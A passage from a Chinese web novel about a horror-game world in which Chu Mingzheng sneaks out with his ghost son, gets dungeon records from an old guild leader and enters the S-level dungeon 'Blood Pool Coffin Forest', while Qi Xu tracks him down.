当年楚明铮在绞刑架副本重伤醒转,醒来看见的第一个慰问者就是他。 周自重一个箭步冲上前,见着楚明铮就老泪纵横:“老楚啊——” “数年不见,你我都是沧桑了不少啊。”他握着楚明铮的手一迭声的悲叹,恨不得立刻把这些年苦水遭遇,给楚明铮一一倾倒出来。 他这四年,先是惨遭第一公会驱逐下台,四年间毫无官职在身,虎落平阳,零落成泥,后来好不容易死了个唐虞非,主神把他降了一级,推到了第二公会领袖的位置,结果还是要在齐栩手底下干活,加上第二公会里不少都是唐虞非余党,不肯服他。 周自重如今受的窝囊气一箩筐,好不容易见着同样被齐栩坑惨的楚明铮,自然要将胸中悲愤全数抒发,以解怀才不遇的愁苦。 楚明铮连忙给他递了个眼色,示意这里是齐栩的家,到处都是齐栩手下,你确定要在这里吐槽他? 周自重不是笨蛋,也读懂了楚明铮的暗示,于是硬生生把一腔悲愤又给咽下去了。 楚明铮笑着拍了拍他的肩膀,开口寒暄道:“老周,你最近还在原先唐虞非那办公室呆着呢?” 周自重脸色一苦,摆着手痛道:“快别提了,让我们整体搬了,换到主控中心隔壁的小院子去了,那环境还不如以前的地方呢。” 楚明铮恍然大悟,末了点点头:“能理解,能理解。” “你理解什么了?”周自重苦笑。 “以前第二公会的场地是唐虞非个人出资,现在他死了,变成主控中心出资,有地方呆就不错了,别挑三拣四。”楚明铮劝慰道。 周自重伤感道:“老楚,你安慰人的方法可真独特。” 那边祝檀雪咳嗽了一声,朝周自重示意该走了,她又朝楚明铮笑了笑:“楚先生,我们还有事,我改天不忙的时候,把周会长带过来,您二位再叙旧。” 楚明铮“嗯嗯”应着,刚要挥手跟周自重说再见,忽然电光火石间,他想到了一个突破口。 “等等!”楚明铮一把抓住了周自重的袖子,提高声音道:“老周,你那个新办公室的地址,是不是离齐栩不远?” “不远,我们就在他们隔壁。”周自重挠了挠头,心说这个问题刚才他俩不是已经对答过一次了吗? “新地址离你家有点远啊。”楚明铮思索道:“你总不能下班时间比齐栩都晚吧,那通勤也太可怜了。” “那不能。”周自重摆手:“主控中心没人比齐栩下班晚,我比他早两个小时吧。” 楚明铮心里飞快的盘算了一下齐栩平时晚上爬到他床上的大概时间,再减去主控中心到府邸的车程,大致推算出了齐栩的下班时间。 再进一步,减去两个小时,推算可得周自重的下班时间。 从周自重下班,到齐栩回家之前,他有两个小时的空档。 楚明铮微笑着冲他点了点头,伸出手跟他相握:“好的,那我最近去找齐栩的时候,可以顺带去看看你。” “在你下班之后。” 楚明铮着意加重了“之后”二字。 周自重眨了眨眼睛,神色里流露出一丝茫然,他下意识的用目光询问楚明铮,你要干什么? 然而那边祝檀雪的耐心已经告罄,伸手就把他拽走了。 周自重没办法,只好踉踉跄跄的跟着走了,临走前最后跟楚明铮挥了一下手作别,看起来命苦出了一种境界。 等到他俩的背影消失在视线范围内之后,楚明铮的脸色立刻凝重起来,转身就去西苑,直奔楚朝的房间。 楚朝正十分着迷的玩马飞仙给他的那一把扑克牌,听到动静下意识抬眼:“妈妈?” 楚明铮一句废话都没有,直截了当的命令道:“来地下室,我房间,我有话跟你说。” 楚朝虽然不明所以,但是他一向对楚明铮的命令绝对性服从。 立刻火速起身,跟上了楚明铮。 两人一路走回地下室。 楚朝进去之后,楚明铮就把房门关上了。 “怎么了妈妈?”楚朝问。 “有个事要你帮忙。”楚明铮道。 楚朝闻言立即兴奋起来:“什么事!我能帮上什么忙?” “今天晚上九点整,我要去主控中心隔壁见个人,这事不能让齐栩知道。”楚明铮不容置疑道。 楚朝面色上浮现一丝茫然:“啊?为什么?” “没有为什么,就是不能让他知道,同时也不能让这个府邸的任何人知道,因为这个府邸的任何人知道了,也就意味着齐栩知道了。” 楚朝挠了挠头:“这个任务听起来有点艰巨。” “不艰巨我也不会找你。”楚明铮不咸不淡道。 这句话对楚朝产生了极大的鼓励效果,他亢奋道:“没想到我在妈妈心里这么厉害!” “当然,所以你能不能办到?” 楚朝思索了一下:“也就是说,我要帮妈妈在今天晚上九点前,躲过府邸的一系列巡逻人手,成功离开府邸围栏,然后安全抵达主控中心隔壁?” “差不多是这样。”楚明铮点头:“还有一点,你还要保证我抵达之后的安全系数,我要去的地方,是第二公会总部。” 楚朝:“……” 他将自己苍白的头骨抓的更凶狠了。 “妈妈,我觉得你的要求有点太多了。”楚朝痛苦的道。 “能不能做到?不能做到我就自己去。”楚明铮逼迫道。 “能啊,谁说我不能!”楚朝闻言一个激灵,叉腰应下这门差事:“今晚就出发!” 楚明铮收敛回不耐烦的神色,抬手摸了摸楚朝的脑袋,赞许道:“这还差不多。” 到了晚上,楚朝鬼鬼祟祟的陪楚明铮猫在房间里,时不时看一眼墙上的表。 “妈妈,八点半了。” 楚明铮“嗯”了一声:“出发吧。” 楚朝跟楚明铮走出主宅院的大门,院子里四下寂静,全无人声。 “我们的三点钟,六点钟,还有九点钟方向都有警卫。”楚朝小声道:“不过三点钟那个在打瞌睡,六点钟那个每隔十秒低头在手机上回一次消息。” “九点钟那个警卫上班最认真,但是他比较死板,他两分钟内同一时间段只盯一个区域,下一个两分钟才换个区域继续盯。” “也就是说,我们只需要躲过六点钟方向的警卫,就可以顺利出去了。” 楚明铮觉得这孩子简直要成精了。 “可是我但凡发出一点声音,他们不就听见了吗?”楚明铮低声道。 “这时候就要像你展现我的绝活了,妈妈。”楚朝一边说,一边缓缓往空中飘浮了几寸,这几寸的使他变得跟楚明铮一样高了。 “你见过,鬼是怎么走路的吗?” 楚明铮:“……” “我知道你不会飘。”楚朝诚恳道:“所以,我带你飘~妈妈~” 楚明铮:“……” 楚朝轻轻一抬手,将楚明铮操控着离地几厘米,然后抓起楚明铮的手,迅速飘过院落,三下五除二翻过了围墙。 再将楚明铮操控着轻巧落地。 楚明铮心道,绝了。 没想到这小鬼婴还是个意外之喜。 天家村里那分娩一夜的惨烈没白遭罪。 “这不就好了。”楚朝拍拍手,一副邀功讨赏的兴奋模样。 楚明铮揉了一把他的头:“我的事还没开始办呢,表扬先给你攒着。” “好的。”楚朝高高兴兴道。 接下来两人以最快的速度跋涉到了主控中心附近,只见它的大门附近,果然立着第二公会的招牌。 此时已经是下班时间,公会门口无人把守,门前也很冷清。 楚明铮感慨了一下全员洗牌惨遭打压后的第二公会现状,然后示意楚朝打先锋,去感应里边的埋伏情况。 楚朝挥手说不用,他听得见里边的动静。 “哪来的埋伏,一楼都是空旷的,妈妈,你到底来办什么事?咱们不会今晚扑空了吧?” 楚明铮听到他说没有埋伏,就彻底放心了,起身就带着楚朝推门进去。 “空不空的,进去看看不就知道了?” 两人进入第二公会的办公楼,只见这地方确实冷清,一楼一个人都没有,走到二楼,走廊的尽头才零零散散出现几缕灯光。 楚明铮看了一眼那些光线,最后回忆了一下周自重从前在第一公会干的时候,他的生活习性。 周自重喜欢把办公室设置在顶楼。 楚明铮一拎楚朝的后脖颈:“走,直接上最高层。” 两人直奔五楼,果然在五楼走廊的尽头,找到了会长办公室。 周自重正在手忙脚乱的蹲在办公室里翻文件,听见身后开门的动静,冷不防吓得坐倒在了地上的文件堆里。 “哎呦,我的老楚,我花了一个下午时间在办公室里祈祷,祈祷你今天见我的时候只是突然眼睛疼,不是在用眼神暗示我下班别走,没想到你还是来了!” 楚明铮带着楚朝进门,随手关好了办公室的门,自己给自己拉了把椅子,在他办公桌的对面坐下。 “怎么了?”楚明铮云淡风轻的问道:“我们不是老朋友吗,我为什么不能来见你?” 周自重俯身收拾那一地的文件,愁的眉心不展。 “谁不知道沾上你就等于沾上齐栩?我可还不想退休呢。” 楚明铮抱臂而笑:“放心,我就是来找你问点事,不牵扯其他人。” 楚朝也在一旁疯狂点头:“是的叔叔,我妈妈他是善良的成年人,他不会给你添麻烦的!” 周自重惊悚的看着楚朝,又看了看楚明铮:“你你你……你俩什么关系?” 楚明铮无奈的叹了口气:“你自己也听见了,我孩子。” “那也应该叫爸爸啊!他为什么叫你妈妈!?” 楚朝掷地有声:“我爸就是齐栩!” 周自重“咕咚”一声,仰身摔在了地板上,因为巨大的精神刺激而不幸昏过去了。 楚明铮和楚朝面面相觑,赶忙过去将他可怜的周会长从地上扶起来,掐人中的掐人中,拍后背的拍后背。 过了好一会儿,周自重才悠悠醒转,苍凉而茫然的看着这个荒谬的世界。 “疯子。”他指了指楚明铮,颤抖着道。 “好啦,你既然受不了,那就当我没有这个儿子好了,咱俩聊咱俩的,让他出去等去,行不行?” 楚朝一脸震惊:“妈妈,你真是刚卸下磨就杀驴啊!” “小孩子别乱用成语。” 周自重欲哭无泪的躺在楚明铮怀里,缓和了好一会儿,才恢复过一口气来,最后气息虚弱的道:“不用,你直接问吧,问完就走,求你了。” “好的。”楚明铮将他扶到办公椅上,自己也在对面坐下来。 他看着周自重,正色开口:“我想知道,五年前齐栩离开我后,具体过了哪些副本?” 周自重缓和了一下,疑惑道:“你问这个干嘛?” “他离开基地以后过的副本可太多了,那肯定数不过来,而且就算能数的过来,执政官的部分信息是需要保密的,这我没法给你全整出来。” 楚明铮思索了一下,说行。 “那部分呢,其中一部分记录你总能给我看一下吧?” 周自重的脸上露出为难的神色。 楚明铮伸出一根手指警告他:“你肯定有,第一公会高层是负责S到A级副本板块的,这点我知道。” 周自重:“……” “行吧行吧行吧……”周自重自暴自弃道:“真拿你没办法。” “我给你简单罗列一下我印象里他那一两年经过的高难度副本,但是只是印象啊,不能确保完全正确。” 他说着就拿了根笔,开始在纸上写写画画,楚明铮和楚朝同时凑过去两个脑袋,一起看他写画。 一刻钟后,他将A4纸交给楚明铮。 楚明铮接过来大致看了一眼,随口道:“你记得居然还挺多,A级丧尸围城,S级厉鬼将映,S+级新嫁娘鬼影……这一页林林总总也得有五十多个,你记性这么好的吗周会长?” 周自重叹了口气,将纸抽回来道:“我也不瞒你了,齐栩确实是当年的怪物级新人,他的能力是毋庸置疑的。” “他当时一脱离基地我们就注意到他了,但是注意到他的原因不是他作为徒弟,跟当时的总榜第一你楚明铮闹翻出走的八卦,而是他极其强悍的杀伤力和鬼怪感知度。” “太强了,攻击性比起你来说,有过之而无不及。” “你看。”周自重握着圆珠笔,在纸上着重勾出了几个副本名称:“这几个S级都是他间隔很近的时间过的,你可以理解为,一个星期七天,他爆杀了十个S级恐怖副本。” “这都不是人了,我们当时怀疑他是副本生成角色,混入了人群中而已。” 楚明铮的神情逐渐严肃起来。 这些他倒还都是第一次知道。 他以前只知道齐栩是靠不输给他的副本能力登顶总榜的,但是他没有后台数据,不知道具体怎么个强悍法,今天一见,楚明铮承认自己是有点震惊了。 楚明铮注视着手上那张A4纸,觉得肯定还有地方,是自己没能注意到的。 他顺手将纸页推给了周自重:“老周,你能帮我把这些副本,按时间顺序排列一下吗?” “哦,要是能在时间线的基础上补充一下副本级别,就更好了。”楚明铮神情期盼的看着他。 周自重:“……” 我真是闲的没事给自己找夜班上。 周自重心里是这么腹诽的,行动上却还是任劳任怨的拿过纸张,在背面勾勾画画起来。 又过了一刻钟,一副罗列着所有副本,并标注级别标注时间线的示意图展现在了楚明铮面前。 “老周,你可真是……”楚明铮赞叹道:“我都想给你搬个锦旗。” “唉,快看吧,我真想下班了祖宗。” 楚明铮将目光落回纸张上,纸上字句逐渐涌进他的眼睛,无数冗杂信息在脑海里飞快汇总,聚焦成一个疑点,浮现在楚明铮眼前。 “不对。”楚明铮开口道。 “哪里不对?”周自重和楚朝同时凑过来问。 “你们看,从2020年的一月份到五月份,他始终徘徊在A级副本里,六月份曾经试着往S级够了一次,但是出来以后还是在A级打转,说明这个阶段他是处于平台期的。” “可能是进了一次S级副本以后,差点丧生,吓到了,所以他暂时放弃了直闯S级的计划,仍然一直在A级徘徊。”楚明铮用笔尖点着那时间表分析道。 “我的徒弟我了解。”楚明铮凝重道:“他在十七八岁的时候是完全有能力独自进入A级副本的,但是A级往上,对他来说就会有难度,一般都是我带着他进。” “但是那个时期,他跟我闹脾气,显然不可能回到基地,求我继续带他过S级。” “而且我猜测那个时期他有一部分的心理都是在跟我赌气,他是想靠自己过S级副本,回来证明给我看,他不像我想象的那样没用。” 楚明铮说到这里,不由苦笑了一下。 “也怪我,我以前对齐栩……的确棍棒教育居多。” 周自重和楚朝无言的望着他。 “妈妈,你可千万不要这么对我啊!”楚朝撒娇卖萌的在旁边打滚道。 楚明铮白了他一眼,继续道:“直到2020年的7月,他又尝试着过了一次S级。” 楚明铮在这个七月份的S级副本名称“血池棺林”上,用圆珠笔着力画了一个圈。 “从这个副本过后,齐栩宛如开了挂,一路都是S+级别,最强悍的时候,半个月内横扫三十个副本,都是史诗级地狱难度级别,但是他从无败绩,无论是单人本还是多人本,哪怕副本里的人全死完了,最后一个活着的人也一定是他。” “而且毫无重伤修养的时间间隔,好像只是去副本里旅游一样。”楚明铮分析道。 “在2020年结束之前,他一口气杀完了游戏史上全部的高难度副本,在2021年的第一天,宣布成为新一任执政官。” 周自重小声的补充了一句:“对,然后在21年新年的第二天,你就被他注销账号关起来报复了。” 楚明铮:“……” “其实你偶尔可以不说话的。”楚明铮和颜悦色道。 “综上所述。”楚明铮合起A4纸,总结道:“齐栩的转折点发生在血池棺林这个副本。” “我觉得血池棺林里一定发生过什么,我们所不知道的事,才使得事情有了这个走向。” “你打算干什么?”周自重警惕道:“可别告诉我,你打算进这个副本,还打算让我帮你啊?” 楚明铮微笑着望向他。 “不行!”周自重断然拒绝:“绝对不行,且不说这个S级副本的难度,以你现在的身体能不能受得了,就算你受得了,齐栩知道这事也绝对不会同意的!” “他当然不会同意了。” “所以啊——” “所以我不能让他知道我进这个副本的计划,我决定带着我儿子单独进去,按照我的总榜排行是有资格自由选择副本类型的。”楚明铮安然道。 周自重像瞪鬼一样瞪着他。 “现在唯一需要解决的就是这个……”楚明铮扬了扬手腕,他白皙的手腕上赫然一道跟齐栩绑定的红线。 “我要单独进,我不要跟齐栩绑定进,这个事情你给我想想办法。” 周自重欲哭无泪:“那是人家主控中心最高阶的道具,我能有什么办法!” 楚明铮和颜悦色的转向楚朝:“儿子,你有办法吗?” 楚朝眨了眨眼睛,伸手过去,在楚明铮手腕上轻轻一划拉,只见那道浅淡的红绳应声而断,很快在他的肌肤里消失了踪影。 周自重:“……” “大哥!!”周自重崩溃道:“你确定你现在把这玩意儿弄断了,齐栩不会下一秒就知道了吗?!这玩意儿是有感应的!!!” “我知道它有感应。”楚明铮继续安详道:“所以择日不如撞日,我现在就在你办公室进副本,他就抓不到我了。” 周自重更崩溃了:“那我怎么办!” “我怎么办啊,他要是知道,你是在我这里得到的信息,还是在我办公室进的副本,他不得攮死我?!” “你给我条活路吧!” 楚明铮继续安详点头:“当然,所以我准备把你也带进去。” “这样他就抓不到你了。” 周自重:“……” “其实你一早就感应到自己今天要进副本,所以特地选今天来坑我的吧!”周自重悲愤欲绝。 “差不多,我确实知道自己今天要进副本,但是你白天撞到我手上,也确实是个意外,说明我们有缘。”楚明铮谆谆善诱:“我们适合当好朋友。” “好朋友就要一起冒险。” 楚朝在旁边听的热血沸腾,手舞足蹈的边跳边喊:“好朋友就要一起冒险~啦啦啦啦~~” “冒险你个毛线!” “行了朋友们。”楚明铮从椅子上站起来身,抬腕看了看手表:“时间紧迫,齐栩这个时候应该已经知道我把他的绑定道具弄断的事情了。” “他很快就会赶来,在他赶来之前,我们也该出发了。” 楚朝持续亢奋,周自重一脸生无可恋,楚明铮抬手在空气里一挥。 周遭气流迅速扭曲,磁场随之发生变化,头顶白炽灯忽闪忽闪,骤然熄灭。 四周陷入一片昏暗。 …… 等楚明铮再醒来时,发现自己正身处一个昏暗的空间里。 四肢仿佛被冻了很长时间,稍微动弹一下,就僵冷而生疼。 周围窸窸窣窣的传来人声。 “这是哪儿?”一个带着哭腔的男声从他的右侧传来,声音发抖,显然被眼前的处境吓得不轻。 “空气里好难闻!什么东西烧糊了?”又有玩家大惊小怪。 楚明铮扶了一下地面,勉强支撑着身体,从地上站起来,他临进副本前活像是被人打了,浑身疼的厉害,也不知道是哪里出了问题。 “妈妈!”楚朝高高兴兴的在对面朝他招手:“我在这儿!周叔叔也在这儿!” 周自重也是一副老腰被人捶了的模样,费劲巴拉的让楚朝搀扶着他,两人走到楚明铮面前。 三人终于汇合。 周自重已经连骂楚明铮的力气都没有了,满心满眼都是绝望。 “这他妈什么破地方,封闭空间……遇到鬼了跑都没地方跑……” 楚明铮大致扫了一眼周围的环境。 只见这是一个昏暗的地下宫殿,四周都点着幽幽晃动的烛台,从材质和形状上看,很像是古埃及金字塔墓穴里使用的长明灯。 ……这是一个古墓。 楚明铮回忆了一下副本的名称。 副本名叫“血池棺林”,的确是和古墓相关,只是他们暂时没有看到棺材的影子,当然也没有血池。 他们此刻身处一条悠长的甬道里。 甬道两侧每隔两米,就燃烧着一盏长明灯,那灯火在墓穴无边漆黑的掩映下,散发出一种绿油油的冷光。 看的人不寒而栗—— 作者有话说:谢谢大家给我急需的月石~我都收到了[比心][比心]爱你们么么哒~ 第72章 血池棺林(一) 楚明铮同志的偶像包袱…… “你有头绪吗楚明铮?”周自重依靠在墙壁上绝望道:“我自从重归工作岗位后,过副本频率大大降低,你一上来就把我坑进S级,你这不是害我吗!” 楚朝在一旁好奇道:“啊?成为主控中心工作人员后就可以不被强制传唤进副本吗?这么幸福。” 楚明铮伸手把儿子的脑袋往过扒拉了一下,漫不经心的解释道:“当然了,成为主控中心工作人员后,在一定程度上可以自由选择进入副本的难度和类型,频率维持在三个月一次就可以。” 楚朝恍然大悟:“也就是说,相比普通的玩家而言,主控中心工作人员们的死亡率会大大降低……” “嗯,不然他们为什么挤破头都要进主控中心,除了那点权力的诱惑之外,不都还是为了活着。” 楚朝想了想,又道:“不对,那我爸不也是主控中心的人吗,他好像一个星期过好几个副本耶……” “他那是闲的。”楚明铮没好气的评价道。 “啊,您居然这么说爸爸,他会伤心的!” 除他们三个之外,这个甬道里还有两个玩家,但是他俩此时无暇顾及旁人,两个人在一起抱头痛哭,哭的内容大概是说,为什么他们两个菜鸟被强行召唤进了S级副本,这回绝对死定了云云…… 他俩哭的声音太大,搞的周自重反倒不好意思哭了。 毕竟周自重是个公会会长,也是数亿人里杀出来的翘楚,进副本的第一天就跟新人一样哭成一团,像什么样子。 周自重很有包袱的端坐起身形,朝楚明铮郑重的清了清嗓子:“老楚,我不怪你了,我现在觉得既来之则安之,我绝对能拿下这个血池棺林副本。” “很有觉悟。”楚明铮点了点头赞赏道,末了又不放心的问了一句:“你是不是嗓子不舒服,怎么说话的时候声音还带痰呢?” 周自重:“……” 他俩这边正插科打诨着,那边甬道的入口处又传送进来几个人影。 为首那位人高马大,身后背了把漆黑的直筒长枪,看着颇为眼熟。 他身后跟着两个年轻人,一胖一瘦,个子差不多,都没说话。 三人步履不快不慢,正朝这边走来。 等走到近前,楚明铮才终于看清了为首那人的样貌,不由震惊出声:“大徐!你怎么来了?” 大徐也是一愣,随即脸上露出笑容:“楚哥!我也是今天过副本!我临走的时候想去你房间跟你打个招呼的,不过你不在,我也不知道你去哪儿了。” “没想到在这里碰到了,你都多久没带我一起过过副本了,真好。” 楚明铮照旧拍了拍他的肩膀,安抚道:“这个副本不难,算是S级别里的初级副本,我们没问题的,别担心。” “有楚哥在,我一点也不担心。” 大徐一边说一边让开身形,给他介绍刚才跟在自己身后的那两个年轻人。 “这位是陈靖,还有他弟弟陈可,刚才进来的时候遇到的。” 楚明铮微笑致意。 大徐给他俩介绍完,又转而去对陈靖陈可两兄弟说:“这是我老大,楚——” 他话还没说完,却见哥哥陈靖直接越过了大徐,眼睛亮晶晶的走上前,声音颤抖:“不好意思,请问你……你是楚明铮吗?” 楚明铮点了点头,对眼前年轻人的反应感到有些莫名其妙:“是啊,我是。” 陈靖的眼里瞬间迸溅出无数粉红色星星,他倒抽一口凉气,上身后仰,紧接着骤然俯身九十度,朝楚明铮鞠躬下去,惊得楚明铮向后一跳,差点趔趄着摔在地上。 “哎我天,小兄弟,你这是干什么?” 大徐也跟着一惊,他一手去扶自己老大,防止楚明铮摔倒,另一手去阻拦陈靖鞠躬:“小兄弟,你认识楚哥?” “当然认识!”陈靖激动抬眼:“谁不认识楚明铮,他是我们一代人的偶像!” 楚明铮:“?” 大徐的:“?” 楚朝:“?!” “真的!霸榜总排行榜首十年的大神,人气风靡全网,当年贴吧里全是你同组玩家偷拍你的图,有的高糊有的高清,我们这种低阶玩家,跟你分不到一个副本里去,就只能一个一个去保存人家拍你的照片!” “真的好帅,每一张都是神图。” “你当年有一张照片,是临出副本前别人偷拍的,看背景天色应该是凌晨四五点,天快要亮的时候,你穿着身黑色夹克,手上握着刀柄,一刀砍在对面的人皮鬼身上,那个红色的血光和锋刃反射的亮光同时映在你的瞳孔里……” “表情既冷峻,又无情,还带着点痞里痞气的傲慢……我一直拿那张图当手机屏保!还有好几个跟我一样喜欢你的小姑娘也是!” 楚明铮目瞪口呆,电光火石间他在心里回忆了一下,十年前过的带有人皮鬼元素的副本,具体是哪个。 ……好像是有一个副本,主体是跟披着人皮的鬼玩捉迷藏,搞大逃杀,他也确实带着刀护身。 可是他记得那个副本走到最后他都狼狈的没边了,夹克上一身的血,刀柄把手的缠布上也全是血,他带着同队的几个人,在迷宫里狂奔逃亡,见鬼就砍。 砍到最后精疲力竭,头发被汗水濡湿到全盘散乱,满身黏糊糊的,不是血就是鬼怪体内迸溅出的黏液。 哪来的形象可言? 这小伙子是从哪儿总结出“冷峻”“无情”“傲慢”“痞里痞气”等形容词的? 他梦里的吗? 陈靖一边说话一边呼吸不稳,看起来下一秒就要因为过度激动而晕厥倒地了。 大徐连忙松开楚明铮,伸手去扶他:“得得得……小兄弟,你冷静点,楚哥这不就站在你面前吗,慢慢说。” 楚明铮从他说第一个字起,张开的嘴巴就没合上过。 眼里震惊难以言表,千言万语汇成一个字:“……啊?” 什么鬼,他以前过副本的时候就专心找线索破谜题,跟鬼怪互殴,从没注意过谁在副本里偷拍他。 “啊什么啊……”大徐凑到他耳边,几乎不动嘴唇的说道:“你当年确实很火,当时还有一个什么全网最想嫁的大神玩家榜,你也是榜首。” 楚明铮:“?” “为什么我从不知道这些?”他匪夷所思的问。 “废话,你又不上网。”大徐低声吐槽。 “况且,你以为楚小妙青少年时期那娇纵的个性是怎么养出来的……当年还有一种说法,就是说‘谁不想魂穿楚明铮妹妹,我也想被楚大佬在副本里罩着,安全感太足了~’你妹那时候每天高强度上网,就是去你贴吧里看这些让她虚荣心拉满的评论……” 楚明铮:“……” “所以你们当年都知道,就一直没人跟我说?”楚明铮难以置信道。 “谁敢跟你说啊,你又不是不知道你年轻时候那个脾气……网上对你又是喊老公,又是喊妈妈的……让你看了多伤风败俗。” 楚明铮简直要被这帮手下气得灵魂飘出二里地。 他伸出一根手指头,点了点大徐,咬牙切齿道:“行,你们可真行。” 楚朝在一旁高声嚷嚷:“这是我妈!别人不许喊!” “你也闭嘴。”楚明铮呵斥道。 刚才那两个在甬道里哭哭啼啼的小年轻也不哭了,磨磨蹭蹭的走过来,两人彼此对视一眼,又同时看向楚明铮,一脸扭捏。 “您二位又是干什么啊?”楚明铮无奈道。 总不能也是粉丝吧,他这是选了个什么黄道吉日过副本,才能遇到这群人? 两个小年轻不约而同脸上泛起红晕,其中一人抬头小心道:“楚大佬……我俩能要一个你的签名吗?我俩带本子了,或者你签我俩手背上也行,我们回去拓印下来。” 楚明铮:“……” 陈靖火速上前,俯身就去翻自己腰上的挎包:“我也要我也要!楚哥,我真的崇拜你好多年了,当年跟我一起喜欢你的同好,后来都在副本里死完了,你就给我签一个吧。” “我脱个衣服,你拿圆珠笔签我后背上就行!” “是啊楚大佬,我们都是看着你过副本的记录长大的!我现在还记得,你还没登顶第一的时候,就已经因为颜值出圈了,我那会儿就崇拜你。” 三个人一片吵嚷,声音和热情沸腾的能把甬道顶翻。 楚明铮实在是没忍住,偏过头去笑了一下,那忍俊不禁的神色在他脸上显得格外生动,焕发出别样的光彩。 大徐悄没声的靠近他:“老大,是不是突然发现,自己还挺有魅力的?” “是的。”楚明铮不动嘴唇的回答:“在此之前,我还以为是齐栩瞎呢。” “那可不是。”大徐道。 “齐栩肯定不是唯一一个喜欢你的人,但他确实是喜欢你的人当中,最敢想敢干的那一个。” “你说的‘干’最好不是动词。” “我说的就是动词……嗷!” 楚明铮给了他一记肘击,把表情调整回风轻云淡模式,他接过笔,唰唰唰的在三个小年轻的手背上龙飞凤舞的写了几个字:“好了。” 三个小年轻彼此比划着自己手背上的字迹,满脸都洋溢着开心鼓舞。 “太好了,偶像,这个副本我们就全听你的了,你说打哪儿,我们就打哪儿!”陈靖澎湃的道。 事实证明,跟喜欢自己的人说话的时候,连楚明铮这种冷血大家长都会忍不住变得和颜悦色起来。 “好的,那你们先做个自我介绍,我认识一下。”楚明铮柔和的说。 这语气听的周自重一脸牙酸,忍不住低声道:“咱差不多行了,你这语气有点恶心了……” 楚明铮不动声色的也给了他一记肘击:闭嘴,这叫维护粉丝。 三个小年轻完全无暇顾及他俩的小动作,争先恐后的开口说话。 你的偶像要认识一下你! 这是一个多么值得纪念的时刻! 不出所料,又是陈靖抢到了第一个发言机会:“楚大佬,我叫陈靖,今年二十四,这是我弟弟陈可,比我小两岁,他小时候发过一次高烧,脑子不太好……” 陈靖说到这里犹豫了一下,但又很快找补:“但是你相信我,他很乖,很听我话的,绝对不会给我们拖后腿。” 楚明铮这才注意到陈靖身后站着的那个胖乎乎的男人。 陈靖的弟弟陈可,长着一副成年人的身形,但是光看脸的话,却很明显是一副小男孩的模样。 他的嘴角还淌着一缕口水的印子,也不擦,也不抹掉,时不时张一下嘴巴,从唇齿间就能涌出更多口水,晃晃悠悠的挂在唇边。 他迟钝的发现众人都在看他,不由得有点害怕,伸手去抓陈靖的衣角,嘴里含糊不清道:“哥哥……” 陈靖抱歉的朝众人笑笑,回身伸手安抚弟弟。 楚明铮的眼神中升起一丝凝重,不过他也没说什么,只简单交代道:“让他跟紧你,别跑丢了。” “当然当然,楚大佬放心。” 楚明铮转向另外两位年轻人:“你们呢?” “我叫乔文!”其中一个栗发年轻人举手道:“是个文案策划,以前最高只进过B级别的副本,而且进本的经验不多,楚大佬不要嫌弃我。” “怎么会。”楚明铮温和道:“你俩是一起的吗?” “是,我们是发小。”另一个年轻人接话:“我叫李子树,跟阿乔每次都是绑定在一起进副本,我俩的经验一模一样,都是个菜鸟,也不知道这回怎么就被投放进S级副本了。” 楚明铮的眼里闪过一丝不易察觉的阴霾,不过他面上还是一派春风和煦:“没关系,经验少的队友方便指挥,能降低伤亡。” 几个菜鸟闻言顿觉活命有望,不约而同“芜湖”的欢呼了几声。 楚明铮慈祥的看着他们。 周自重像个鬼一样又飘了过来:“……你知道,你现在温柔的有点诡异了吗?” 楚明铮慈祥的将手伸到他背后去,慈祥的给了他一拳。 …… 齐栩是在开会途中感受到自己手腕上传来的异样的。 那红线缭绕的位置火烧火燎,几乎要把他的腕骨烧着勒到崩断。 他倒抽一口凉气,将手中资料扔到会议桌上,又将手收回到桌子下边,快速掀起衣袖看了一眼。 只见手腕上那根红绳以一个肉眼可见的速度先是剧烈涨红,变粗,开始在他的皮肤表面灼烧炙烤起来,发出滋滋滋的声音。 齐栩顿时心生不妙,他将衣袖一把拽下来,火速起身打断了正在汇报数据的魏长官。 “不好意思,我有事出去一下,你们继续。” 说完急匆匆的走了。 魏长官目瞪口呆站在会议室里,被他这毫不把自己放在眼里的行为气的冷汗直流,指着他的背影怒道:“你简直——欺人太甚!” 齐栩一刻都不敢耽搁,立刻回到自己办公室,去调这个红绳另一端使用者的记录情况。 然后他发现楚明铮把他自己的绑定红绳切断了。 齐栩瞬间冷汗如瀑。 这可是主控中心里最高阶的道具,楚明铮的红绳居然断了?! 他遭遇了什么? 齐栩简直不敢细想。 他立刻往府邸里拨电话:“老焦,楚明铮人呢?” 那边焦副官茫然道:“啊?楚先生没出去啊。” “你去看一眼地下室的监控。” “好的……等等长官,你为什么往人家卧室安监控?” 齐栩心虚半秒,随即加重语气:“快去!” “好好好。” 过了半分钟,电话那头传来焦副官惊慌失措的声音:“长官!楚先生不在卧室!” “其他地方呢?西苑!查西苑的监控。” “西苑的监控也没有他,等一下,晚上八点的时候他出现了一次,在大门口。” 齐栩精神一振:“然后呢?” “然后就往监控死角去了,也不知道去哪儿。” 齐栩重重坐回椅子上,觉得脑袋都快要炸了。 “长官,我记得楚先生手腕上的那根红绳应该有定位功能,你定位一下他最后出现的地方。” 齐栩迅速起身,走到办公室里侧的仪器室里,将自己手腕上烧的为数不多的一缕红绳放进检测区域,“滴滴滴——”仪器显示屏上展示出最新定位。 就在主控中心隔壁?! 齐栩惊得险些把眼球瞪出来。 主控中心隔壁是什么地方? 齐栩一时急火攻心,还有点想不起来。 过了半秒,他猛然反应过来,主控中心隔壁只有一个建筑——新的第二公会总部! 楚明铮上次出事就是在第二公会手上,这次他是不是又遇到什么事了? 齐栩一刻也不敢耽搁,扯了外套就往主控中心门外跑,直奔第二公会总部。 一进门迎面一股新装修的甲醛味,齐栩随手拎了个一楼值班的小喽啰,冷声逼问:“这里刚刚进来人没有?” 小喽啰正睡觉呢,忽然被人揪起来,吓得脸色煞白,抬手就要反抗,然后被眼前男人不由分说按翻在桌面上。 “我再问你一遍,这里刚刚进来人没有?” “你是谁啊,松手啊啊啊——” 齐栩将对方头发一拎逼着他直视自己:“你看清楚我是谁。” “齐齐……齐长官!刚刚……刚刚好像有个男人,带着个男孩从我们这里进来了。”小喽啰战战兢兢的回答。 “去哪儿了?” “去五楼找我们老大了!对,我还听见五楼我们老大哀嚎着求他离开的声音了!” 齐栩的心脏仍然悬在半空,不过他还是将小喽啰一放,从胸口缓和了一口气,沉重道:“谢谢。” 紧接着他三步并作两步,转身跑上五楼,一把推开了会长办公室的门。 迎面散落一地的文件,最中间的桌子上,端端正正的放着一页A4纸,纸上勾勾画画,写满了字迹。 